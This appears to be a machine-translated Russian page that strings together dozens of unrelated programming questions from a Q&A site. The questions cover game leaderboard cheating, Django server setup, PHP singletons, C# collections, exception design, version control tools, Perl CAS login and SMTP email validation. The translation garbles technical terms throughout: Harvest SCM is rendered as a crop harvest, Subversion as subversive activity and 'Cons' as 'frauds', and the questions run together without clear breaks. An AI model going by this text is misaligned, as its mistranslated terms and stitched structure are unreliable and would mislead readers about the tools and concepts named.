Я играю с родной (не веб -) однопользовательской игрой, которую я пишу, и мне пришло в голову, что наличие списка рекордов daily/weekly/all-time онлайн (думаю, что Xbox Live Leaderboard) сделает игру намного интереснее, добавив некоторое (небольшое) количество сообщества и конкуренции. Однако я боюсь, что люди увидят такую функцию, как приглашение к взлому, что будет препятствовать обычным игрокам из-за невероятно высоких баллов.
Я думал об очевидных способах предотвращения таких попыток (public/private key encryption, например), но я выяснил достаточно простые способы, которыми хакеры могли бы обойти все мои идеи (извлечение открытого ключа из двоичного файла и, таким образом, отправка поддельных зашифрованных результатов, например).
Вы когда-нибудь реализовывали онлайн-список рекордов или таблицу лидеров? Нашли ли вы разумно защищенный от хакеров способ реализации этого? Если да, то как вы это сделали? Каковы ваши впечатления от попыток взлома?
Самая чистая и быстрая настройка сервера для Django
Я собираюсь развернуть сайт среднего размера на базе Django. У меня есть выделенный сервер Ubuntu.
Я действительно запутался в том, какой серверный софт использовать. Поэтому я подумал про себя: почему бы не спросить stackoverflow?
То, что я ищу, это:
- Легко настраивается
- Быстрый и легкий доступ к ресурсам
- Могут служить медиафайлы
- Возможность обслуживать несколько djangosites на одном сервере
- Я бы предпочел не устанавливать PHP или что-то еще, что высасывает ресурсы, и для чего я не имею никакой пользы.
Я слышал о mod_wsgi и mod_python на Apache, nginx и lighty. Какие из них плюсы и минусы, и не упустил ли я кого-нибудь?
@Barry: почему-то мне кажется, что Apache-это слишком много для меня. А как насчет альтернатив?
@BrianLy: хорошо, я проверю mod_wsgi еще немного. Но зачем мне нужен Apache, если я обслуживаю статические файлы с помощью lighty? Мне также удалось обслуживать само приложение django с помощью lighty. Разве это плохо в любом случае? Прости за то, что вел себя так глупо :-)
UPDATE : а как насчет lighty и nginx - какие варианты использования являются идеальным выбором?
Стратегии Тестирования На Основе Моделей
Какие стратегии вы использовали при тестировании на основе моделей?
- Вы используете его исключительно для интеграционное тестирование, или его ветвление в других местах (Проверка unit/functional/system/spec)?
- Вы строите сфокусированные модели "sealed" или вы развиваете сложные модели onibus с течением времени?
- Когда в продуктовом цикле вы инвестируете в создание MBTs?
- Какие базовые тестовые библиотеки вы создаете исключительно для MBTs?
Какая разница, что вы делаете в своих функциональных базовых тестовых библиотеках для лучшей поддержки MBTs?
Когда в классе PHP5 вызывается частный конструктор?
Допустим, я пишу класс PHP (>= 5.0), который должен быть singleton. Все документы, которые я читал, говорят о том, чтобы сделать конструктор класса закрытым, чтобы класс не мог быть непосредственно создан.
Так что если у меня есть что-то вроде этого:
class SillyDB
{
private function __construct()
{
}
public static function getConnection()
{
}
}
Есть ли случаи, когда __construct() вызывается иначе, чем если я делаю a
new SillyDB()
позвонить внутрь самого класса?
И почему мне вообще позволено создавать экземпляр SillyDB изнутри самого себя?
Доступ к компонентам .NET из Powershell
Я хочу использовать Powershell для написания некоторых утилит, используя наши собственные компоненты .NET для выполнения фактической работы. Это вместо написания небольшого консольного приложения, чтобы связать вызовы вместе. Мой вопрос заключается в том, где я мог бы найти хороший источник документации или учебных материалов, чтобы помочь мне быстро отслеживать это?
VBScript/ASP Classic
У меня есть пара вопросов относительно VBScript и ASP Classic:
Каков предпочтительный способ доступа к базе данных сервера MS SQL в VBScript/ASP?
Каковы наилучшие методы в отношении отделения модели от представления от контроллера?
Есть еще что-нибудь, что я должен знать о VBScript или ASP?
Если вы еще не заметили, я новичок в кодировании VBScript. Я понимаю, что числа 2 & 3-это своего рода гигантские вопросы "black hole", которые являются слишком общими, поэтому не думайте, что я ожидаю узнать все, что нужно знать об этих двух вопросах отсюда.
Почему вообще закупается урожай?
Использует ли ваша рабочая среда Harvest SCM? Я использовал это сейчас в двух разных местах и нахожу это ужасным. В одной ситуации я написал сценарий преобразования, чтобы использовать CVS локально, а затем ежедневно импортировать изменения в систему сбора урожая, пока я сплю. Корпорация была фанатично настроена на использование Harvest, несмотря на то, что 80% программистов требовали чего-то другого. Это было бессмысленно сложно, медленно и тяжело. Теперь для меня обязательным условием работы является то, что Harvest не используется там, где я работаю.
Кто-нибудь еще использовал Harvest раньше? Каков ваш опыт? Так же плохо, как у меня? Вы использовали другие, другие обходные пути? Почему этот продукт все еще покупается сегодня?
Фильтрация коллекций в C#
Я ищу очень быстрый способ отфильтровать коллекцию в C#. в настоящее время я использую универсальные List<object> коллекции, но открыт для использования других структур, если они работают лучше.
В настоящее время я просто создаю новый List<object> и зацикливаюсь на исходном списке. Если критерии фильтрации совпадают, я помещаю копию в новый список.
Есть ли лучший способ сделать это? Есть ли способ фильтровать на месте, чтобы не было необходимости во временном списке?
Compact Framework - есть ли в наличии фреймворк MVC/библиотека?
Я нашел статью на эту тему от сотрудника Microsoft, но кто-нибудь реализовал более надежную структуру для этого? Существует ли легкий фреймворк для WinForms, который можно было бы легко портировать? Я хотел бы довольно быстро войти в курс дела и избежать создания собственной структуры/библиотеки, чтобы справиться с этим, когда кто-то более умный уже сделал это.
Я не смотрел на фабрику мобильного программного обеспечения из группы P&P, но подозреваю, что она довольно тяжелая. Стоит ли на это смотреть?
Edit: я не ищу информацию о проекте ASP.NET MVC. Я спрашиваю о реализации compact framework 'WinForms' и о том, как реализовать MVC с помощью этого.
553   7   00:19, 3rd August, 2020
Обработка исключений: контракт против исключительного подхода
Я знаю два подхода к обработке исключений, давайте посмотрим на них.
Контрактный подход.
Когда метод не делает то, что он говорит, что он будет делать в заголовке метода, он будет вызывать исключение. Таким образом, метод "promises", что он будет выполнять операцию, и если он не работает по какой-то причине, он будет выдавать исключение.
Исключительный подход.
Только бросать исключения, когда что-то действительно странное происходит. Вы не должны использовать исключения, когда вы можете разрешить ситуацию с обычным потоком управления (если операторы). Вы не используете исключения для потока управления, как в контрактном подходе.
Позволяет использовать оба подхода в разных случаях:
У нас есть класс Customer, который имеет метод под названием OrderProduct.
контрактный подход:
class Customer
{
public void OrderProduct(Product product)
{
if((m_credit - product.Price) < 0)
throw new NoCreditException("Not enough credit!");
// do stuff
}
}
исключительный подход:
class Customer
{
public bool OrderProduct(Product product)
{
if((m_credit - product.Price) < 0)
return false;
// do stuff
return true;
}
}
if !(customer.OrderProduct(product))
Console.WriteLine("Not enough credit!");
else
// go on with your life
Здесь я предпочитаю исключительный подход, так как это не является действительно исключительным, что у клиента нет денег, если он не выиграл в лотерею.
Но вот ситуация, в которой я ошибаюсь в стиле контракта.
Исключительный:
class CarController
{
// returns null if car creation failed.
public Car CreateCar(string model)
{
// something went wrong, wrong model
return null;
}
}
Когда я вызываю метод с именем CreateCar, я чертовски хорошо ожидаю экземпляр Car вместо какого-то паршивого указателя null, который может разрушить мой рабочий код через дюжину строк. Поэтому я предпочитаю контракт этому:
class CarController
{
public Car CreateCar(string model)
{
// something went wrong, wrong model
throw new CarModelNotKnownException("Model unkown");
return new Car();
}
}
Какой стиль вы используете? Как вы думаете, каков наилучший общий подход к исключениям?
Работает Ли Для Вас Дизайн По Контракту?
Используете ли Вы дизайн по контракту профессионально? Это то, что вы должны сделать с самого начала проекта, или вы можете переключить передачу и начать включать ее в свой жизненный цикл разработки программного обеспечения? Что вы нашли в качестве плюсов / минусов подхода к дизайну?
Я столкнулся с подходом проектирования по контракту в курсе аспирантуры. В академической среде это казалось довольно полезным приемом. Но в настоящее время я не использую дизайн по контракту профессионально, и я не знаю других разработчиков, которые используют его. Было бы неплохо услышать о его фактическом использовании от толпы SO.
Есть ли разница между "foo is None" и "foo = = None"?
Есть ли какая-то разница между ними:
if foo is None: pass
и
if foo == None: pass
Соглашение, которое я видел в большинстве Python кода (и кода, который я сам пишу) является первым, но я недавно наткнулся на код, который использует последнее. Никто не является экземпляром (и единственным экземпляром, IIRC) из NoneType, так что это не должно иметь значения, верно? Есть ли какие-то обстоятельства, при которых это могло бы произойти?
Как установить кодировку в .getJSON jQuery
В моем веб-приложении я отправляю некоторые поля формы с помощью метода jQuery $.getJSON() . У меня возникли некоторые проблемы с кодировкой. Набор символов моего приложения- charset=ISO-8859-1, но я думаю, что эти поля представлены с UTF-8 .
Как я могу установить кодировку, используемую в вызовах $.getJSON ?
Какие библиотеки парсинга HTML вы рекомендуете в Java
Я хочу разобрать некоторые HTML, чтобы найти значения некоторых атрибутов / тегов и т. д.
Какие HTML Парсеры вы рекомендуете? Есть плюсы и минусы?
Почему мой текст нижнего колонтитула PDF невидим?
Я создаю PDFs по требованию с тегом ColdFusion CFDocument , например:
<cfdocument format="PDF" filename="#attributes.fileName#" overwrite="true">
<cfdocumentitem type="footer">
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr>
<td align="left"><font face="Tahoma" color="black"><strong>My Client's Corporation</strong><br/>Street address<br/>City, ST 55555</font></td>
<td align="right"><font face="Tahoma" color="black">Phone: 555.555.5555<br/>Fax: 555.555.5555<br/>Email: info@domain.com</font></td>
</tr>
</table>
</cfdocumentitem>
<html>
<body>
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<!--- some content here ... --->
</table>
</body>
</html>
</cfdocument>
Проблема, с которой я сталкиваюсь, заключается в том, что иногда (на самом деле, большую часть времени, но не всегда) часть текста нижнего колонтитула есть, но невидима. Я могу выделить его и скопировать / вставить в блокнот, где я могу видеть все это, но в сгенерированном PDF видна только первая строка левого столбца нижнего колонтитула, а rest невидим. Поэтому я добавил черный цвет шрифта в коде.
Есть идеи, как это исправить?
Что такое MVC и каковы его преимущества?
Я нашел, что такое mvp и mvc, и в чем разница , но это действительно не ответило на этот вопрос.
Я недавно начал использовать MVC, потому что это часть фреймворка, который собираюсь использовать я и мой партнер по работе. Мы выбрали его, потому что он выглядел легко и отделил процесс от отображения, есть ли преимущества помимо этого, о которых мы не знаем и которые могли бы упустить?
Плюсы
- Отображение и обработка разделены
Аферы
- Пока ни одного
Какие библиотеки PL/SQL для автоматической генерации JSON вы рекомендуете?
Есть ли какие-нибудь хорошие библиотеки PL/SQL для JSON, с которыми вы работали и нашли их полезными?
В PL/SQL мне приходится утомительно передавать код возврата значений JSON в функции JavaScript. Я нашел одну библиотеку PL / SQL для автоматической генерации JSON,но она не делает точно все, что мне нужно. Например, я не мог расширить базовые функции в библиотеке, чтобы вернуть сложную древовидную структуру данных JSON, требуемую используемым мной компонентом дерева JavaScript.
Примечание:
Система, которая находится в производстве уже более 8 лет, была спроектирована так, чтобы использовать PL/SQL для CRUDs и большей части бизнес-логики. PL/SQL также генерирует 90% слоя представления (HTML/JavaScript), с помощью mod PL/SQL. другой 10% является отчетными данными, выполненными через Oracle Reports Builder.
wxpython: как я могу проверить данные перетаскивания в OnDragOver?
Я немного озадачен перетаскиванием в wxPython (но, возможно, эти вопросы относятся и к перетаскиванию в других фреймворках GUI). Фреймворки предоставляют несколько обратных вызовов (OnEnter и OnDragOver), которые предположительно позволяют мне сообщить системе, является ли текущая позиция мыши допустимым местом для удаления того, что перетаскивается. Из этих методов я могу вернуть wx.DragNone, wx.DragCopy и т. д. Что меня озадачивает, так это то, что из этих методов мне не разрешено вызывать GetData, что означает, что мне не разрешено проверять данные, которые пользователь перетаскивает. Если я не могу видеть данные, как я должен знать, является ли это OK для пользователя, чтобы упасть здесь?
java.lang.IllegalArgumentException: недопустимый в сопоставлении сервлетов
<servlet>
<servlet-name>myservlet</servlet-name>
<servlet-class>workflow.WDispatcher</servlet-class>
<load-on-startup>2</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>myservlet</servlet-name>
<url-pattern>*NEXTEVENT*</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>myservlet</servlet-name>
<servlet-class>workflow.WDispatcher</servlet-class>
<load-on-startup>2</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>myservlet</servlet-name>
<url-pattern>*NEXTEVENT*</url-pattern>
</servlet-mapping>
Выше приведен фрагмент из Tomcat web.xml . Паттерн URL *NEXTEVENT* при запуске выбрасывает
java.lang.IllegalArgumentException: недопустимый <url-pattern> в сопоставлении сервлетов
Мы будем очень признательны, если кто-то сможет намекнуть на ошибку.
416   2   04:15, 13th August, 2020
Получение всех типов, реализующих интерфейс
Используя отражение, как я могу получить все типы, которые реализуют интерфейс с C# 3.0/.NET 3.5 с наименьшим количеством кода и минимизацией итераций?
Вот что я хочу переписать:
foreach (Type t in this.GetType().Assembly.GetTypes())
if (t is IMyInterface)
; //do stuff
Perforce в магазине Microsoft
Наш магазин разработчиков в настоящее время использует Visual SourceSafe. Мы все знаем, как это может закончиться (плохо), поэтому мы исследуем другие системы. Во-первых, это Perforce. Есть ли у кого-нибудь опыт использования его и его интеграции в Visual Studio (2003/2005/2008)? Он так же хорош, как и любой другой, или он довольно прочный с хорошими чертами, сравнительно?
Как вы создаете резервную копию своей машины разработки?
Как вы создаете резервную копию своей машины разработки, чтобы в случае катастрофической неисправности оборудования вы были готовы и запущены в кратчайшие сроки?
Как представить информацию о кросс-модели в MVC?
У меня есть приложение, построенное с использованием MVC, которое создает представление, которое предоставляет сводную информацию по нескольким моделям. Кроме того, некоторые вычисления выполняются по различным наборам данных.
Нет четкой единой модели (которая, по крайней мере, сопоставляется с таблицей), которая, по-видимому, имеет смысл в качестве отправной точки для этого, поэтому различные сводки извлекаются из способствующих моделей в контроллере, передаются в представление и вычисления выполняются там.
Но это кажется, ну, грязным . Но контроллеры должны быть легкими, не так ли? И бизнес-логика не должна быть в представлениях,так как у меня она присутствует.
Так где же должна быть собрана эта информация? Новая модель, которая не сопоставляется с таблицей? Библиотека function/module? или что-то еще?
(Хотя я рассматриваю это как в основном архитектурный / шаблонный вопрос, я работаю в Rails, FWIW.)
Edit: хорошие ответы на все вопросы и много консенсуса, что обнадеживает. Я "accepted" ответ, который я сделал, чтобы сохранить ссылку на Railscasts в верхней части. Я отстаю в своем просмотре Railscast-что-то, что я буду делать напряженные попытки исправить!
Почему я не могу подключиться к моему серверу CAS с Perl AuthCAS?
Я пытаюсь использовать существующий сервер CAS для аутентификации входа в веб-скрипт Perl CGI и использую модуль AuthCAS Perl (v 1.3.1). Я могу подключиться к серверу CAS, чтобы получить билет службы, но когда я пытаюсь подключиться, чтобы проверить билет, мой скрипт возвращается со следующей ошибкой из модуля IO::Socket::SSL:
500 Can't connect to [CAS Server]:443 (Bad hostname '[CAS Server]')
([CAS Server] substituted for real server name)
Symptoms/Tests:
- Если я наберу сгенерированный URL для аутентификации в строке местоположения веб-браузера, он вернется просто отлично с ожидаемым фрагментом XML. Так что это не плохое имя хоста.
- Если я создаю сценарий без использования модуля AuthCAS, но используя модуль IO::Socket::SSL непосредственно для запроса сервера CAS для проверки созданного билета службы, сценарий Perl будет работать нормально из командной строки, но не в браузере.
- Если я добавлю модуль AuthCAS в скрипт в пункте 2, скрипт больше не будет работать в командной строке и по-прежнему не будет работать в браузере.
Вот голые кости скрипт, который производит ошибку:
#!/usr/bin/perl
use strict;
use warnings;
use CGI;
use AuthCAS;
use CGI::Carp qw( fatalsToBrowser );
my $id = $ENV{QUERY_STRING};
my $q = new CGI;
my $target = "http://localhost/cgi-bin/testCAS.cgi";
my $cas = new AuthCAS(casUrl => 'https://cas_server/cas');
if ($id eq ""){
my $login_url = $cas->getServerLoginURL($target);
printf "Location: $login_url\n\n";
exit 0;
} else {
print $q->header();
print "CAS TEST<br>\n";
## When coming back from the CAS server a ticket is provided in the QUERY_STRING
print "QUERY_STRING = " . $id . "</br>\n";
## $ST should contain the received Service Ticket
my $ST = $q->param('ticket');
my $user = $cas->validateST($target, $ST); #### This is what fails
printf "Error: %s\n", &AuthCAS::get_errors() unless (defined $user);
}
Есть идеи, где может быть конфликт?
Сообщение об ошибке поступает от линии непосредственно над Cebjyre фрагмент процитировал именно
$ssl_socket = new IO::Socket::SSL(%ssl_options);
а именно: создание сокета. Все входные параметры верны. Я отредактировал модуль, чтобы ввести отладочные операторы и распечатать все параметры непосредственно перед этим вызовом, и все они в порядке. Похоже, мне придется глубже погрузиться в модуль IO::Socket::SSL.
Вы используете распределенный контроль версий?
Я хотел бы услышать от людей, которые используют распределенный контроль версий (он же распределенный контроль версий, децентрализованный контроль версий) и как они его находят. Что вы используете, Mercurial, Darcs, Git, Bazaar? Вы все еще используете его? Если вы использовали клиент / сервер rcs в прошлом, вы находите его лучше, хуже или просто по-другому? Что ты можешь мне сказать такого, что заставило бы меня вскочить на подножку? Или спрыгнуть, если на то пошло, мне было бы интересно услышать от людей с негативным опытом.
В настоящее время я рассматриваю замену нашей текущей системы управления версиями (Subversion), которая является стимулом для этого вопроса.
Я был бы особенно заинтересован в тех, кто использовал его с коллегами в других странах, где ваши машины не могут быть включены одновременно, и ваша связь очень медленная.
Если вы не уверены, что такое распределенный контроль версий, вот несколько статей:
Введение в распределенный контроль версий
Как можно требовать конструктор без параметров для типов, реализующих интерфейс?
Есть ли какой-то выход?
Мне нужно, чтобы все типы, реализующие определенный интерфейс, имели конструктор без параметров, можно ли это сделать?
Я разрабатываю базовый код для других разработчиков в моей компании, чтобы использовать его в конкретном проекте.
Существует процесс, который будет создавать экземпляры типов (в разных потоках), выполняющих определенные задачи, и мне нужно, чтобы эти типы следовали определенному контракту (ergo, интерфейс).
Интерфейс будет внутренним для assembly
Если у вас есть предложение для этого сценария без интерфейсов, я с удовольствием приму его во внимание...
Как удалить каталог с помощью cc.net / cruiscontrol?
Возможный Дубликат:
Задача предварительной сборки-удаление рабочей копии в CruiseControl.NET
Возможный Дубликат:
Задача предварительной сборки-удаление рабочей копии в CruiseControl.NET
Я хотел бы удалить свой рабочий каталог во время сборки cruisecontrol process...I'm, конечно, это легко, но я не смог найти пример этого...
Если вы знаете, как создать каталог, это тоже будет полезно.
Спасибо.
Каково общее правило больших пальцев для создания исключения в Java?
Я был в обеих ситуациях:
- Создание слишком большого количества пользовательских исключений
- Использование слишком большого количества общих классов исключений
В обоих случаях проект стартовал OK, но вскоре стал накладными расходами на обслуживание (и рефактор).
Итак, какова наилучшая практика создания собственных классов исключений?
Лучшие подходы к версионированию файлов Mac "bundle"
Таким образом, вы знаете, что многие приложения Mac используют "bundles": он выглядит как один файл для вашего приложения, но на самом деле это папка с большим количеством файлов внутри.
Чтобы система управления версиями могла справиться с этим, ей необходимо:
- проверьте все файлы в каталоге, чтобы приложение могло изменять их по мере необходимости
- при заселении,
- фиксация файлов, которые были изменены
- добавление новых файлов, созданных приложением
- отметьте как удаленные файлы, которых больше нет (так как приложение удалило их)
- управлять это как одно атомарное изменение
Есть идеи, как лучше всего справиться с этим с помощью существующих систем контроля версий? Есть ли какие-либо системы управления версиями более искусные в этой области?
Сравнение массивов объектов в JavaScript
Я хочу сравнить 2 массива объектов в коде JavaScript. Объекты имеют 8 общих свойств, но каждый объект не будет иметь значения для каждого, и массивы никогда не будут больше 8 элементов каждый, так что, возможно, метод грубой силы обхода каждого и затем просмотра значений 8 свойств является самым простым способом сделать то, что я хочу сделать, но перед реализацией я хотел бы посмотреть, есть ли у кого-нибудь более элегантное решение. Есть какие-нибудь мысли?
Как вы справляетесь со светлой и темной стороной распределенных систем управления версиями?
Недавно у меня были некоторые дискуссии на работе о переходе от Subversion к DVCS, как bazaar, и я хотел бы получить мнение других людей.
Мне удалось выкристаллизовать свое нежелание делать это в простую параллель.
Контроль версий может использоваться хорошо или плохо.
'light side' контроля версий-это когда вы используете его для отслеживания ваших изменений, можете вернуться к старым версиям, когда вы нарушаете материал, и когда вы публикуете свои изменения, чтобы ваши коллеги могли видеть ваш work-in-progress.
'dark side' контроля версий, когда вы не используете его должным образом, так что вы не 'checkpoint' ваша работа, совершая регулярно, вы держите кучу изменений в вашей локальной проверки, и вы не делитесь своими изменениями с другими, как вы делаете их.
Подрывная деятельность делает как светлую, так и темную сторону относительно жесткой. Все основы работают, но мало кто действительно использует ветвление в Subversion (помимо тегов и освобождения), потому что слияние не является простым вообще. Поддержка его в самой Subversion ужасна, и есть сценарии, такие как svnmerge, которые делают его лучше, но это все еще не очень хорошо. Итак, в наши дни, с хорошей поддержкой ветвления и слияния, которая все больше и больше похожа на необходимость совместной разработки, Subversion не соответствует.
С другой стороны, 'dark side' довольно трудно следовать тоже. Вам нужно только один раз укусить, не имея ваших локальных изменений, совершаемых время от времени в онлайн-хранилище, и сломать ваш код с помощью простого редактирования, которое вы даже не помните. Таким образом, вы в конечном итоге делаете регулярные коммиты, и люди могут видеть работу, которую вы делаете.
Таким образом, в конце концов Subversion становится хорошим middle-of-the-road VCS, который, хотя и немного громоздкий для реализации лучших практик, все же затрудняет получение очень неправильных вещей.
В отличие от этого, с DVCS стоимость либо полностью светлой стороны, либо темной стороны намного ниже. Ветвление и слияние намного проще с этими современными системами VCS. Но распределенный аспект позволяет легко работать в наборе локальных ветвей на вашем собственном компьютере, предоставляя вам гранулированные фиксации, необходимые для проверки вашей работы, возможно, без публикации ваших изменений, чтобы другие могли видеть, просматривать и сотрудничать. Сложность сохранения изменений в локальных ветвях и их публикации обычно ниже, чем их публикация в какой-либо ветви на общедоступном сервере.
Итак, в двух словах, вот вопрос: если я дам нашим разработчикам на работе DVCS, как я могу убедиться, что они используют его, чтобы перейти к 'light side', по-прежнему регулярно публиковать свои изменения в Центральном местоположении и заставить их понять, что их недельный локальный хак, который они не хотели делиться, может быть просто тем, что какой-то другой разработчик может использовать для завершения функции, пока первый находится в отпуске?
Если и светлая сторона, и темная сторона DVCS так легко добраться, как я могу держать их подальше от темной стороны?
iPhone приложение, которое получает доступ к ядру Location framework через интернет
Мне было интересно, могу ли я получить доступ к iPhones Core Location framework через веб-сайт?
Моя цель состоит в том, чтобы создать веб-приложение/веб-сайт, на который будет переходить iPhone, а затем загрузить его текущее местоположение GPS. Это будет простой сайт, основной для друзей / семьи, чтобы мы могли найти друг друга. Я могу заставить их вручную ввести lng/lat, но это не самая простая вещь, которую можно найти. Если бы iPhone мог отображать или загружать это автоматически, это было бы здорово.
У меня еще нет Mac (в ожидании нового Mac Book Pro), но сейчас мне хотелось бы что-то более автоматическое. Как только у меня будет mac, я смогу скачать SDK и построить лучшую версию позже. На данный момент версия веб-приложения была бы отличной, если бы это было возможно. Спасибо.
Ресурсы для разработки Mono на PS3
Я рассматривал возможность сделать решительный шаг и установить Linux на моей Playstation 3. Поскольку C#-это мой текущий язык выбора, следующим логическим шагом будет установка Mono.
Я провел небольшое исследование и обнаружил, что http://psubuntu.com/wiki/InstallationInstructions имеет инструкцию по установке Ubuntu и ссылки для загрузки ISO, содержащего конкретную версию PS3 Ubuntu. Существует также этот классный проект в http://code.google.com/p/celldotnet/ , который разработал некоторый код для использования 6 дополнительных ядер SPU CPU, а не только общего назначения, к которому у вас есть доступ по умолчанию.
Проблема в том, что проектная документация, кажется, немного тонкой. Кто-нибудь создал PS3 для разработки .NET код? Если да, то с какими проблемами вы столкнулись? Есть ли у кого-нибудь примеры кода, как даже частично загрузить один из этих процессоров монстров?
Обновление:
Я понимаю, что основное Программирование .NET/Mono вступит в игру здесь. Часть, на которой я нечетко, - это какие структуры данных вы передаете в специализированное ядро? Если я читаю это правильно, 6 SPU ядер имеют 128 регистров по 128 бит каждый . Я не видел никаких дискуссий о том, как эффективно кодировать для этого.
Обновление 2:
IBM объявила , что дальнейшее развитие сотового процессора было отменено. Хотя это в значительной степени убивает любое желание, которое я мог бы развить на платформе, надеюсь, кто-то еще может добавить полезную информацию.
Почему перечисления не являются итеративными?
В Java 5 и выше у вас есть цикл foreach, который магически работает на всем, что реализует Iterable :
for (Object o : list) {
doStuff(o);
}
Однако Enumerable по-прежнему не реализует Iterable , что означает, что для итерации над Enumeration необходимо выполнить следующие действия:
for(; e.hasMoreElements() ;) {
doStuff(e.nextElement());
}
Кто-нибудь знает, есть ли причина, по которой Enumeration все еще не реализует Iterable ?
Edit: как уточнение, я не говорю о языковой концепции перечисления, я говорю о специфическом классе Java в Java API под названием "перечисление".
Удалить ведра Amazon S3?
Я взаимодействовал с Amazon S3 через S3Fox и, похоже, не могу удалить свои ведра. Я выбираю ведро, нажимаю удалить, подтверждаю удаление во всплывающем окне и... ничего не происходит. Есть ли еще один инструмент, который я должен использовать?
Что является лучшим решением для поддержания резервного копирования и контроля версий на живых веб-сайтах?
Что является лучшим решением для поддержания резервного копирования и контроля версий на живых веб-сайтах?
В рамках своей работы я работаю с несколькими живыми сайтами. Нам нужен эффективный способ поддержания резервных копий живых папок с течением времени. Кроме того, обновление этих сайтов может быть болезненным, особенно если изменение происходит с перерывом в живой среде по какой-либо причине.
То, что было бы идеальным, было бы беспроблемным управлением версиями. Я реализовал SVN на некоторое время, что было здорово в качестве полурешения для резервного копирования, а также контроля версий (легкая реверсия временных или критических изменений) и т. д.
К сожалению, SVN размещает .SVN скрытых каталогов везде, которые вызывают проблемы, особенно когда другие разработчики делают изменения структуры папок или копируют / перемещают каталоги веб-сайтов. Я слышал аргумент, что это вопрос образования и т. д. но подход, принятый SVN, просто не является для нас практическим решением.
Я думаю,что, возможно, инкрементное резервное копирование может быть лучше.
Другие возможности включают в себя:
- SVK, который является только командной строкой, которая становится проблемой. Кроме того, я не уверен, насколько это будет уместно.
Mercurial, возможно, с некоторыми триггерами, чтобы скрыть распределенный компонент, который не требуется в этом случае и был бы излишне сложным для других разработчиков.
Я немного поэкспериментировал с Mercurial, но не смог найти хороший способ отделить хранилище и постоянно синхронизировать его с рабочей копией живой папки. Возможно, в качестве решения для управления версиями (создание репозитория и живой папки в одном месте) в сочетании с другим решением для резервного копирования это может быть правильным решением.
Одним из недостатков Mercurial является то, что он не помещает пустые папки под управление версиями, что является проблематичным для веб-сайтов, которые часто имеют пустые папки в качестве мест-заполнителей для загрузки файлов и т. д.
- Rsync , который я на самом деле не исследовал.
Я был бы очень признателен Вам за совет о том, как лучше всего поддерживать резервные копии живых веб-сайтов, в идеале с помощью простых средств быстрого восстановления прошлых версий.
Ответ ответов:
@Kibbee :
Речь идет не столько об образовании, сколько об отсутствии знакомства с чем-либо, кроме VSS, и об отсутствии времени/усилий для изучения чего-либо еще.
Подход xcopy/7-zip звучит разумно, я думаю, но он быстро займет много места, верно?
Что касается управления версиями, я думаю, что мне бы хотелось, чтобы система управления версиями просто сказала: "это состояние папки сейчас, я разберусь с этим, и если я не смогу сопоставить материал, который является вашей виной, я просто начну новые истории", а не потерплю неудачу.
@Steve м :
- Да, это более приятный способ сделать это, но потребует значительных культурных изменений. Сказав, что мне очень нравится такой подход.
@mk :
- Хорошо, что я не подумал об использовании Rsync для развертывания. Это только загружает различия? Перезапись всего живого каталога каждый раз, когда мы вносим изменения, будет проблематичной из-за простоя сайта.
Мне все еще любопытно посмотреть, есть ли еще какие-то традиционные варианты
Каков самый быстрый способ умножить 16-битное целое число на двойное?
На 8-битном микроконтроллере я хотел бы сделать следующее:
16bit_integer = another_16bit_integer * 0.997;
с наименьшим возможным количеством инструкций.
Существует ли задача rake для резервного копирования данных в вашей базе данных?
Существует ли задача rake для резервного копирования данных в вашей базе данных?
У меня уже есть резервная копия моей схемы, но я хочу сделать резервную копию данных. Это небольшая база данных MySQL.
Поддерживает ли Mono System.Drawing и System.Drawing.Printing?
Я пытаюсь использовать Mono, чтобы загрузить bitmap и распечатать его на Linux, но получаю исключение. Поддерживает ли Mono печать на Linux? Код / исключение приведены ниже:
EDIT: я больше не получаю исключения, но мне все еще интересно, какая поддержка существует. Оставить код для потомков или что-то в этом роде.
private void btnPrintTest_Click(object sender, EventArgs e)
{
_printDocTest.DefaultPageSettings.Landscape = true;
_printDocTest.DefaultPageSettings.Margins = new Margins(50,50,50,50);
_printDocTest.Print();
}
void _printDocTest_PrintPage(object sender, PrintPageEventArgs e)
{
var bmp = new Bitmap("test.bmp");
// Determine center of graph
var xCenter = e.MarginBounds.X + (e.MarginBounds.Width - bmp.Width) / 2;
var yCenter = e.MarginBounds.Y + (e.MarginBounds.Height - bmp.Height) / 2;
e.Graphics.DrawImage(bmp, xCenter, yCenter);
e.HasMorePages = false;
}
Email SMTP валидатор
Мне нужно отправить сотни информационных бюллетеней, но сначала я хотел бы проверить, существует ли email на сервере. Это называется SMTP валидация, по крайней мере, я так думаю, основываясь на моих исследованиях в Интернете.
Есть несколько библиотек, которые могут это сделать, а также страница с открытым исходным кодом в ASP Classic (http://www.coveryourasp.com/ValidateEmail.asp#Result3), но мне трудно читать ASP Classic, и кажется, что он использует какую-то стороннюю библиотеку...
Есть ли какой-то код для проверки SMTP в C#, и / или общее объяснение того, как это работает?
Где я могу узнать больше о функции перевода PyPy?
У меня возникли трудное время, пытаясь понять перевод PyPy по. Это выглядит как что-то абсолютно революционное от простого чтения описания, однако мне трудно найти хорошую документацию по фактическому переводу реального фрагмента кода на что-то вроде LLVM. Существует ли такая вещь? Официальная документация PyPy на нем просто скользит по функциональности, а не предоставляет что-либо, что я могу попробовать сам.
Найдите количество файлов с определенным расширением во всех подкаталогах
Есть ли способ найти количество файлов определенного типа без необходимости перебирать все результаты с помощью Directory.GetFiles() или аналогичного метода? Я ищу что-то вроде этого:
int ComponentCount = MagicFindFileCount(@"c:\windows\system32", "*.dll");
Я знаю , что могу сделать рекурсивную функцию для вызова Directory.GetFiles, но было бы намного чище, если бы я мог сделать это без всех итераций.
EDIT: если это невозможно сделать без рекурсии и повторения самого себя, то как это лучше всего сделать?
JavaServiceWrapper на 64bit linux, есть проблемы?
Мы уже довольно давно используем 32-битную версию linux JavaServiceWrapper , и она отлично работает. Теперь мы рассматриваем также его использование на 64-битных системах linux. На веб-сайте есть загрузки для 64-битных двоичных файлов, но, заглянув в Makefile для 64-битной версии, я нашел следующий комментарий: # Этот makefile находится в процессе выполнения. Он строит, но результирующий libwrapper.so еще не работает. # Если вы знаете,как это исправить, пожалуйста, помогите.
Может ли кто-нибудь подтвердить, что этот комментарий просто устарел и полученная обертка будет работать без недостатков?
Когда выбрать проверенные и непроверенные исключения
В Java (или любом другом языке с проверяемыми исключениями), создавая свой собственный класс исключений, как вы решаете, следует ли его проверять или нет?
